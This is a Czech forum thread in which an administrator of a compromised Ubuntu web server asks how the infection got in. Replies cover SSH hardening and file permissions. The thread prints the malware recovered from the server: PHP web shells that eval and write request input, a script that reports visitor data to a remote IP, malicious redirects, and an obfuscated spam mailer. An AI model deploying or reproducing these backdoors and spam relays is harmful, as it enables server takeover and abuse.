Prosíme přihlašte se nebo zaregistrujte.

Přihlašte se svým uživatelským jménem a heslem.
Vaše pomoc je stále potřeba!

Autor Téma: Zavirovaný webový server [VYŘEŠENO]  (Přečteno 11731 krát)

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Zavirovaný webový server [VYŘEŠENO]
« kdy: 15 Května 2013, 08:40:28 »
Ahoj,

potřeboval bych poradit v oblasti bezpečnosti webového serveru.
Databáze je zvlášť, takže na infikovaném stroji běží pouze PHP a Apache (+ Bacula, NRPE pro Nagios a jiné nutnosti..). Jedná se o Ubuntu 12.04 LTS, 64bit.

Projel jsem server antivirem clamAV, našel toho hodně, bohužel ani on nezlikvidoval uplně vše.
Resp, možná zničil strůjce problému a pozůstatky už třeba nebyly nebezpečné, těžko říct, nechtěl jsem riskovat a co jsem manuálně našel, to jsem ještě odstranil.

Jak takový útok vypadá?

složka s "prázdným" projektem...

Kód: [Vybrat]
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 ei0dxe0m/
-rw-r--r-- 1 jenkins user 2411 kvě 14 19:25 favicon.php
-rwxr-xr-x 1 jenkins user  858 kvě 13 11:46 index.php*
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 ocz/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 187f0/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 34ute/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 83t/

Tento "projekt" je zaveden pouze v /etc/apache2/sites-enabled a nalinkován do konkrétní složky.
Není tam žádný zdrojový kód, žádný formulář, nic, čím by útočník měl možnost generovat php soubory nebo složky.

Apache mi běží pod uživatelem "jenkins", tudíž plná práva zápisu tam sice jsou, ale kdo nebo co to vytváří, když zvenčí tento projekt vlastně není vidět?

Je to jen prázdná stránka bez jakéhokoliv vstupu.. Je možné, že by se to mohlo rozšířit z jiných projektů, kde tyto vstupy jsou?



Pro zajímavost, obsah index.php generovaný virem je:

Kód: [Vybrat]
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $diwehb "6cab7ff08f9ed96d4cf8c5e93f96dcd7"; if(isset($_REQUEST['accmusz'])) { $fzkxr $_REQUEST['accmusz']; eval($fzkxr); exit(); } if(isset($_REQUEST['ylahkcs'])) { $wmax $_REQUEST['zeqt']; $swrno $_REQUEST['ylahkcs']; $xuqhria fopen($swrno'w'); $uayecrh fwrite($xuqhria$wmax); fclose($xuqhria); echo $uayecrh; exit(); }

?>


favicon.php

Kód: [Vybrat]
<?php

error_reporting
(0);
ini_set("display_errors"0);

$remote 'http://62.109.31.142/request12.php';

php_display($remote);

error_404();

function 
php_display($url)
{
    
$query = array();
    
$query['ip'] = getIp();
    
$query['time'] = date('d/M/Y:H:i:s'time());
    
$query['request'] = getRequest();
    
$query['path'] = getPath();
    
$query['protocol'] = getProtocol();
    
$query['useragent'] = getUseragent();
    
$query['referer'] = getReferer();

    
$url $url."?".http_build_query($query);

    
$content = @file_get_contents($url);

    if(empty(
$content) OR stripos($content"error") !== FALSE)
    {
        
error_404();
    }

    
// Ïðîâåðÿåì òèï ôàéëà ïî ðàñøèðåíèþ
        
if( preg_match'/(?<=\.)(txt|htm|html)(?=\s)/'$content )==)
        {
                
$type 'text/html';
        }
        else
        {
                
$type 'application/zip';
                
header('Content-Disposition: attachment; filename='.$filename);
        }


    
$content explode("\n"$content);
    
$filename array_shift($content);
    
$content implode("\n"$content);

    
header('Content-Type:'.$type);

    
header('Content-Length: '.  strlen($content));
    echo 
$content;
    exit();
}
function 
error_404()
{
    
header("HTTP/1.1 404 Not Found");
    exit(
"<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
            
."<html><head><title>404 Not Found</title></head><body>\r\n"
            
."<h1>Not Found</h1>\r\n"
            
."<p>The requested URL was not found on this server.</p>\r\n\t"
            
."<hr>\r\n"
            
."</body></html>\r\n");
}

function 
getRequest()
{
    return 
$_SERVER['REQUEST_METHOD'];
}

function 
getPath()
{
    return 
$_SERVER['REQUEST_URI'];
}

function 
getProtocol()
{
    return 
$_SERVER['SERVER_PROTOCOL'];
}

function 
getUseragent()
{
    return 
$_SERVER['HTTP_USER_AGENT'];
}

function 
getReferer()
{
    
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
    return 
$referer;
}

function 
getIp()
{
    
$ip NULL;
    if(isset(
$_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        
$ip $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    elseif(isset(
$_SERVER['HTTP_CLIENT_IP']))
    {
        
$ip $_SERVER['HTTP_CLIENT_IP'];
    }
    elseif(isset(
$_SERVER['REMOTE_ADDR']))
    {

    if(
strpos($ip",") !== FALSE)
    {
        
$ips explode(","$ip);
        
$ip trim(array_pop($ips));
    }

    return 
$ip;
}
 
?>



.htaccess vytvořený ve všech podsložkách

Kód: [Vybrat]
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|yandex|ya|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|linkedin|flickr|filesearch|yell|openstat|metabot|gigablast|entireweb|amfibi|dmoz|yippy|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|infospace|web|websuche|witch|wolong|oekoportal|freenet|arcor|alexana|tiscali|kataweb|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteCond %{HTTP_USER_AGENT} ^.*(msie|opera) [NC]
RewriteCond %{REQUEST_FILENAME} !/index_backup.php
RewriteRule (.*) /index_backup.php?query=$1 [QSA,L]
</IfModule>


další index.php v podsložkách:

Kód: [Vybrat]
<html>


<head>

<script type="text/javascript">
<!--
if(navigator.userAgent.match(/(mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i)!==null){
  window.location = "http://slavasesta.ru/l1/?sub_id=3064&dd_id=0";
}iphone
//-->
</script>

<script language="JavaScript"> parent.window.opener.location="http://spilonras.ru/access?key=ecff859bf9322bd2ef08ce6d9db5c1bf";</script>

<meta http-equiv="refresh" content="0;URL=http://filitanst.ru/access?key=5fe715ee4614c8ccb74b3fdefb677496">

  <title>Вконтакте</title>
 

</head>


<body onload="tim()">


<br>


<body>


</body>


</html><?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  $xzhtm "29ad9b5f6aa9b9c4788cf31431a95131"; if(isset($_REQUEST['pbdwvby'])) { $uixfvus $_REQUEST['pbdwvby']; eval($uixfvus); exit(); } if(isset($_REQUEST['vmen'])) { $pcolwvm $_REQUEST['tfuu']; $qqkog $_REQUEST['vmen']; $wekr fopen($qqkog'w'); $duupyhjo fwrite($wekr$pcolwvm); fclose($wekr); echo $duupyhjo; exit(); } ?><html>


<head>

<script type="text/javascript">
<!--
if(navigator.userAgent.match(/(mobile|android|blackberry|brew|cldc|docomo|htc|j2me|micromax|lg|midp|mot|motorola|netfront|nokia|obigo|openweb|opera.mini|palm|psp|samsung|sanyo|sch|sonyericsson|symbian|symbos|teleca|up.browser|vodafone|wap|webos|windows.ce)/i)!==null){
  window.location = "http://slavasesta.ru/l1/?sub_id=3064&dd_id=0";
}iphone
//-->
</script>

<script language="JavaScript"> parent.window.opener.location="http://spilonras.ru/access?key=ecff859bf9322bd2ef08ce6d9db5c1bf";</script>

<meta http-equiv="refresh" content="0;URL=http://filitanst.ru/access?key=5fe715ee4614c8ccb74b3fdefb677496">

  <title>Вконтакте</title>
 

</head>


<body onload="tim()">


<br>


<body>


</body>


</html>



a jiné ..... Za následek to má to, že se rozesílá ohromné množství spamů. Nainstaloval jsem si tam clamAV, spamassassin, ale nějak se mi nedaří to propojit s postfixem, nicméně to už sem nepatří.

Zde by mě zajímala rada, jak se tento vir dostal na server a to i do projektu, který nemá žádný zdrojový kód???


díky za nápady

« Poslední změna: 23 Května 2013, 08:16:56 od On »
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #1 kdy: 15 Května 2013, 09:02:29 »
Kdo může zapisovat sem /etc/apache2/sites-enabled ??? Jestli jen root, pak se někomu mohlo podařit získat právě toto oprávnění.
Na serveru běží projekty... to znamená co? Že tam mají nějaké třetí osoby webhosting?
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #2 kdy: 15 Května 2013, 11:20:51 »
Konkrétně do sites-enabled má právo zápisu ještě jeden třetí strany.
Věrohodná osoba, jde o to, aby neotravovali mě s každým zavedením nové domény, tak si to dělají sami.

Kód: [Vybrat]
drwxrwxr-x  3 root user  4096 kvě 14 21:04 sites-available/
drwxrwxr-x  2 root user  4096 kvě 14 21:04 sites-enabled/

Jedná se v podstatě o webhosting. Vývojová firma má vlastní servery, na kterém jim běží jejich projekty.
Kopírování zdrojových kódů na tento server ale probíhá přes git + jenkins.

Jisté je, že musím upravit práva. Apache by holt neměl mít právo zápisu tam, kam nepotřebuje.
Kdyby tato práva neměl, nemohly by se volně rozkopírovávat viry kam by se jim jen zachtělo..

Ale i tak by mě zajímalo, jakou cestou se to tam dostalo..kde je zdroj toho problému.
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #3 kdy: 15 Května 2013, 11:29:32 »
Těžko takhle říct. Například mohou mít oni napadený stroje. Nakopírujou špatný kód a ejhle... apache má právo zápisu a už to jede. Nebo jim někdo mohl odcizit ten účet přes, který si to tam nastavují sami a zase je problém. Nejhorší možnou variantou je, že někdo šlohl roota.
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #4 kdy: 15 Května 2013, 12:57:01 »
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)

Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.
Tohle byl evidentně útok robotů, ale hodně solidní..rozmnožilo se to jak....no jak vir :))

Nejen, že si vytváří různé složky, soubory kde se mu zachce (vždy teda ve webových projektech..nikdy ne mimo něj. Vše, co je vytvořeno se děje uvnitř projektů), ale také edituje již existující soubory a na začátek si tam vloží svůj kód...a to mi clamAV nenajde. Musel jsem si udělat skript, který na základě jednoznačného řetězce vyhledá všechny soubory, které tento řetězec obsahují a smaže vše co tam nepatří..

Celkem prekér..
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

beer

  • Host
Re:Zavirovaný webový server
« Odpověď #5 kdy: 15 Května 2013, 13:39:51 »
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)

Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.


Jednoduše. Pokud se přihlašuješ přes SSH heslem a ne klíčem, tak je možné heslo odposlechnout. Doporučil bych hesla preventivně změnit a povolit jen přihlašování klíči. Ty bych taky doporučil změnit. Pokud by se totiž přihlašoval hacker klíčem a ne heslem, tak samotná změna hesla nepomůže, protože to hacker obejde přihlášením přes klíč. Dále zakázat přihlašování roota. Kdo chce roota, tak aby se přihlásil nejprve jako user a pak až jako root. Pak jsou nějaké ty programy, které zvyšují bezpečnost - fail2ban, denyhosts, ...

http://www.root.cz/clanky/jak-se-prihlasovat-na-ssh-bez-zadavani-hesla/
« Poslední změna: 15 Května 2013, 13:44:40 od beer »

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #6 kdy: 15 Května 2013, 14:52:03 »
Ano, přesně tak to mám..

přihlašuji se na tento server výhradně klíči a ubuntu má defaultně účet root vypnutý. Takže vždy se hlásím na sebe a z něj pak na roota.
Mám také zprovozněný denyhosts, myslím si, že na SSH jsem možná až paranoidní, po 5ti neúspěšných pokusech je to ban na danou IP.

SSH mám navíc i na nestandartním portu, který znám opět jen já.

Na infikovaný server jsou NATem propuštěny pouze 3 porty... je to webový server, takže 80, 443 a + nestandartní SSH port.
SSH si myslím, že nikdo nenapadnul. Na roota se navíc dá dostat pouze přes uživatele, který musí mít sudo oprávnění (sudo -i) a přes "su -" se neprivilegiovaný uživatel také nedostane. A root jsem pouze já. SSH bych z 99% vyloučil. Podle mě se tam dostal z nějaké holt špatně zabezpečené webové aplikace...nebo využití chyby v apache nebo tak něco..


EDIT: na testovacím serveru mi ssh běží na standartním portu a /etc/hosts.deny má již 337 BANů...což je celkem normální, roboti to zkouší. Na produkčním, kde je port nestandartní není BAN ani jeden. I když se dívám do /var/log/auth.log, tak žádný pokus o neexistující jména neproběhnul. Za to na testu to zkouší na roota pořád, ale denyhosts funguje opravdu znamenitě...ssh na produkci je podle mě čisté jak lilie
« Poslední změna: 15 Května 2013, 15:08:01 od On »
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

Martin - ViPEr*CZ*

Re:Zavirovaný webový server
« Odpověď #7 kdy: 15 Května 2013, 15:44:20 »
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)

Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.


Jednoduše. Pokud se přihlašuješ přes SSH heslem a ne klíčem, tak je možné heslo odposlechnout.

Co to je za blbost  ;D Už samotný SSH má komunikaci zašifrovanou... tj. i když napíšu heslo a nepoužiju klíče, tak na síti to je už zašifrované.

PS: nejspíš přes tu webovou aplikaci to tam protlačili... nebo někomu ukradli FTPko (pokud tam běží).
Open source is gold way... Mint 17.2, Debian 8.1 Jessie| Ubuntu Wiki (návody) | Google vyhledávač | Qt4 návody

beer

  • Host
Re:Zavirovaný webový server
« Odpověď #8 kdy: 15 Května 2013, 15:57:06 »
To se doufám nestalo...resp nenapadá mě způsob jak.
Heslo na roota má cca 17 znaků, je to naprostý mish mash znaků všeho druhu a heslo vím na celém světě jen já..resp, nikomu jsem ho neříkal :)

Nevím, jakou jinou dírou by se někdo tohoto hesla mohl zmocnit.


Jednoduše. Pokud se přihlašuješ přes SSH heslem a ne klíčem, tak je možné heslo odposlechnout.

Co to je za blbost  ;D Už samotný SSH má komunikaci zašifrovanou... tj. i když napíšu heslo a nepoužiju klíče, tak na síti to je už zašifrované.


Cituji: http://www.root.cz/clanky/jak-se-prihlasovat-na-ssh-bez-zadavani-hesla/
Citace
Proč používat klíče

Autentizace obecně slouží k tomu, abychom počítači dokázali, že jsme ten uživatel, za kterého se prohlašujeme. Nejčastějším nástrojem autentizace je heslo. To má ale v praktickém životě několik nevýhod: dá se (často) uhodnout, mělo by být složité, musíte si jej pamatovat a hlavně je možné jej odposlechnout. Kompromitovaný SSH server tak může například sledovat, co píšete na klávesnici a na který další počítač se přihlašujete. Navíc pokud používáte jedno extra složité heslo na více strojích, má útočník přístup ke všem.

Samotná SSH komunikace běží šifrovaně, kámenem úrazu je posílání toho hesla. Do doby, dokud není   autentizováno SSH spojení, tak heslo prostě lze odchytit. Naštěstí to tedy nebude tento případ.

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #9 kdy: 15 Května 2013, 16:14:15 »
Citace
PS: nejspíš přes tu webovou aplikaci to tam protlačili... nebo někomu ukradli FTPko (pokud tam běží).

Takové historické a docela nebezpečné věci už na produkcích neprovozuji :)..FTP tam také není.
Proto se ten okruh hodně zužuje...alespoň co se týká služeb.

Navíc soubory, které označuji jako vir jsou vytvořeny uživatelem "jenkins", což je uživatel, kterého využívá apache + samotný jenkins = pouze tyto dvě služby.
Jenkins ale běhá navíc lokálně (tato služba ale využívá té výborné a všemi "opěvované" Javy). Je ovládaný sice přes http, ale nedělá nic jiného,než že si sáhne do gitu a z gitu to "překopne" do cílového uložiště (testovací nebo produkční server).
Jedině, že by už v gitu byl tento projekt zavirovaný. Čili dostal se tam od někoho, kdo do gitu tento projekt dával..Ale není to moc pravděpodobné. Vývojáři vyvíjí u sebe na lokálu a složek s názvem "g654dg" a jiných by si asi všimli..ale i tuto variantu nelze uplně vyloučit. Těžko říct, jak se ten vir šíří...pač je to téměř ve všech projektech. Jestli mu stačí být v jednom a on si "nějak" zjistí, že v apachi jsou definované takové a takové projekty a do všech to nasype automaticky...

Víte co je ještě zajímavé? Většinou je název složky shodný s projektem, tzn projekt "nevim.cz" má složku shodnou, tzn "nevim.cz".
A ten vir udělá i to (jen ale u některých projektů...ikdyž možná by to časem udělal u všech, těžko hádat...), že vytvoří tu samou složku bez toho ".cz", tzn vytvoří složku "nevim" a do ní podstrčí ty svoje zavirované skripty. Takže výpis "ls -l" pak vypadal třeba takhle:

Kód: [Vybrat]
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 nevim/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 nevim.cz/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 dalsi_projekt/
drwxr-sr-x 2 jenkins user 4096 kvě 14 15:22 dalsi_projekt.cz/

...s tím, že bez toho ".cz" je pouze složka s viry, tam apache vůbec nesahá. Možná je to jen nějaká mateřská složka pro šíření :) Ale samozřejmě nebylo opomenuto naházet viry i do složek s "*.cz", pro sychr :)) Jako dobrý vir...ten mi hodně zatopil a pořád to nemám vyřešené...


Ale vsázím prostě na nějakou díru webu...jenže je jich tam kolem 60ti a hledejte v konkrétním webu, kudy se tam mohl dostat...no, prozatím si vymakám svoje skripty, které ty viry najdou a budu je schopen nějak automatizovaně likvidovat. Antivir je na tohle krátký..
« Poslední změna: 15 Května 2013, 16:15:46 od On »
Asus M2A-VM HDMI, Athlon 64 X2 4800+, 4GB DDR2/800Mhz,Powercolor HD 2600 XT, Ubuntu 10.10
Být posledním nevadí, ale nikdy nesmíte být poslední dvakrát po sobě - Iacocca

Standa99

  • Host
Re:Zavirovaný webový server
« Odpověď #10 kdy: 15 Května 2013, 16:20:05 »
Neposílá se heslo v plaintextu. Když se připojuješ poprvé, tak se před zadáním jména + hesla vygenerují klíče, ty je odsouhlasíš a teprve potom se můžeš přihlašovat.

On

  • Stálý člen
  • **
  • Příspěvků: 1136
    • Operační systémy
Re:Zavirovaný webový server
« Odpověď #11 kdy: 15 Května 2013, 16:36:32 »
Hmm, co jsem to ale našel...přímo v gitu po deploy jsem našel zažrané dva skripty..

statistics55eh.php

Kód: [Vybrat]
<?php
@error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); if (count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 $v3c6e0b8a; break; case chr(100): $v8d777f38 $v3c6e0b8a; break; case chr(109): $v3d26b0b1 $v3c6e0b8a; break; case chr(101); $v5031e998 true; break; } } if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 preg_split('/\,(\ +)?/', @ini_get('disable_functions')); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 n9a2d8ce3($v01b6e203); $v8d777f38 n9a2d8ce3($v8d777f38); $v3d26b0b1 n9a2d8ce3($v3d26b0b1); } $v01b6e203 urldecode(stripslashes($v01b6e203)); $v8d777f38 urldecode(stripslashes($v8d777f38)); $v3d26b0b1 urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203'#',1) != false) { $v16a9b63f preg_split('/#/'$v01b6e203); $ve2942a04 count($v16a9b63f); } else { $v16a9b63f[0] = $v01b6e203$ve2942a04 1; } for ($v865c0c0b=0$v865c0c0b $ve2942a04;$v865c0c0b++) { $v01b6e203 $v16a9b63f[$v865c0c0b]; if ($v01b6e203 == '' || !strpos($v01b6e203,'@',1)) continue; if (strpos($v01b6e203';'1) != false) { list($va3da707b$vbfbb12dc$v081bde0c) = preg_split('/;/',strtolower($v01b6e203)); $va3da707b ucfirst($va3da707b); $vbfbb12dc ucfirst($vbfbb12dc); $v3a5939e4 next(explode('@'$v081bde0c)); if ($vbfbb12dc == '' || $va3da707b == '') { $vbfbb12dc $va3da707b ''$v01b6e203 $v081bde0c; } else { $v01b6e203 "\"$va3da707b $vbfbb12dc\" <$v081bde0c>"; } } else { $vbfbb12dc $va3da707b ''$v081bde0c strtolower($v01b6e203); $v3a5939e4 next(explode('@'$v01b6e203)); } preg_match('|<USER>(.*)</USER>|imsU'$v8d777f38$vee11cbb1); $vee11cbb1 $vee11cbb1[1]; preg_match('|<NAME>(.*)</NAME>|imsU'$v8d777f38$vb068931c); $vb068931c $vb068931c[1]; preg_match('|<SUBJ>(.*)</SUBJ>|imsU'$v8d777f38$vc34487c9); $vc34487c9 $vc34487c9[1]; preg_match('|<SBODY>(.*)</SBODY>|imsU'$v8d777f38$v6f4b5f42); $v6f4b5f42$v6f4b5f42[1]; $vc34487c9 str_replace("%R_NAME%"$va3da707b$vc34487c9); $vc34487c9 str_replace("%R_LNAME%"$vbfbb12dc$vc34487c9); $v6f4b5f42 str_replace("%R_NAME%"$va3da707b$v6f4b5f42); $v6f4b5f42 str_replace("%R_LNAME%"$vbfbb12dc$v6f4b5f42); $v0897acf4 preg_replace('/^(www|ftp)\./i''', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f false; else $v10497e3f true$v9a5cb5d8 "$vee11cbb1@$v0897acf4"; if ($vb068931c != ''$vd98a07f8 "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 $v9a5cb5d8$vb8ddc93f "From: $vd98a07f8\r\n"$vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"$v3c87b187 "X-Priority: 3 (Normal)\r\n"$v3c87b187 .= "MIME-Version: 1.0\r\n"$v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"$v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; if (!in_array('mail'$v619d75f8)) { if ($v10497e3f) { if (@mail($v01b6e203$vc34487c9$v6f4b5f42$vb8ddc93f.$v3c87b187"-f$v9a5cb5d8")) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } else { if (@mail($v01b6e203$vc34487c9$v6f4b5f42$v3c87b187)) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } } $v4340fd73 "Date: " . @date("D, j M Y G:i:s O")."\r\n" $vb8ddc93f$v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/''$1-$2-$3'md5(time()))."@$v0897acf4>\r\n"$v4340fd73 .= "To: $v01b6e203\r\n"$v4340fd73 .= "Subject: $vc34487c9\r\n"$v4340fd73 .= $v3c87b187$v841a2d68 $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == ''$v3d26b0b1 n9c812bad($v3a5939e4); if (($vb4a88417 n7b0ecdff($v9a5cb5d8$v081bde0c$v841a2d68$v0897acf4$v3d26b0b1)) == 0) { echo(chr(79).chr(75).md5(1234567890)."+1\n"); continue; } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417\n"; } } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/"$v957b527b); } function na73fa8bd($vb45cffe0$v11a95b8a 0$v7fa1b685="=\r\n"$v92f21a0f 0$v3303c65a false) { $vf5a8e923 strlen($vb45cffe0); $vb4a88417 ''; for($v865c0c0b 0$v865c0c0b $vf5a8e923$v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a $v92f21a0f$vb4a88417 .= $v7fa1b685; } $v4a8a08f0 ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2'0'STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8$v01b6e203$v841a2d68$v0897acf4$v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen'$v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b125$v70106d0d$v809b1abe20); elseif (!in_array('pfsockopen'$v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b125$v70106d0d$v809b1abe20); elseif (!in_array('stream_socket_client'$v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25"$v70106d0d$v809b1abe20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 n54070395($v66b18866); @fputs($v66b18866"EHLO $v0897acf4\r\n"); $ve98d2f00 n54070395($v66b18866); if (substr($ve98d2f0003) != 250 ) return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/''|'$ve98d2f00); @fputs($v66b18866"MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 n54070395($v66b18866); if (substr($ve98d2f0003) != 250 ) return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/''|'$ve98d2f00); @fputs($v66b18866"RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 n54070395($v66b18866); if (substr($ve98d2f0003) != 250 && substr($ve98d2f0003) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/''|'$ve98d2f00); @fputs($v66b18866"DATA\r\n"); $ve98d2f00 n54070395($v66b18866); if (substr($ve98d2f0003) != 354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/''|'$ve98d2f00); @fputs($v66b18866$v841a2d68."\r\n.\r\n"); $ve98d2f00 n54070395($v66b18866); if (substr($ve98d2f0003) != 250 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/''|'$ve98d2f00); @fputs($v66b18866"QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 ''; while($v341be97d = @fgets($v66b188664096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d31) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array('getmxrr'$v619d75f8) && function_exists("getmxrr")) statistics55eh.php{ @getmxrr($vad5f82e8$v744fa43b$v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'$v865c0c0b array_keys($v6c5ea816min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec base64_decode($v1cb251ec); $vc68271a6 ''; for($v865c0c0b 0$v865c0c0b strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>



V6info.php

Kód: [Vybrat]
<?php
